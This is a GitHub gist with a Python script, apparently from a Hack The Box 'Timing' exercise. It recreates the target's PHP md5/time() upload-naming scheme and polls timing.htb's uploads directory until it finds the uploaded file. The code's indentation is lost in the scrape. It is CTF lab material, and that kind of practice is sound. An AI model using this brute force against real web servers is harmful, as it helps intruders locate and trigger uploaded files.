Skip to content

Instantly share code, notes, and snippets.

@0xj0y
Created January 9, 2022 05:11
Show Gist options
  • Save 0xj0y/adf3865f84ef7108d49a2d38d3991232 to your computer and use it in GitHub Desktop.
Save 0xj0y/adf3865f84ef7108d49a2d38d3991232 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
import subprocess
import requests
def fuzz(file_name):
url = 'http://timing.htb/images/uploads/' + file_name
res = requests.get(url)
if res.status_code != 404:
print(f'[+] Found the file at {url}')
return True
def main():
while True:
command = "/usr/bin/php -r \"\$file_hash=uniqid(); \$file_name=md5('\$file_hash' . time()) . '_' . basename('test.jpg'); echo \$file_name;\""
string = subprocess.Popen(command, shell = True, stdout = subprocess.PIPE)
binary_name = string.stdout.read()
file_name = binary_name.decode('utf-8')
if fuzz(file_name):
break
if __name__=='__main__':
try:
main()
except KeyboardInterrupt:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment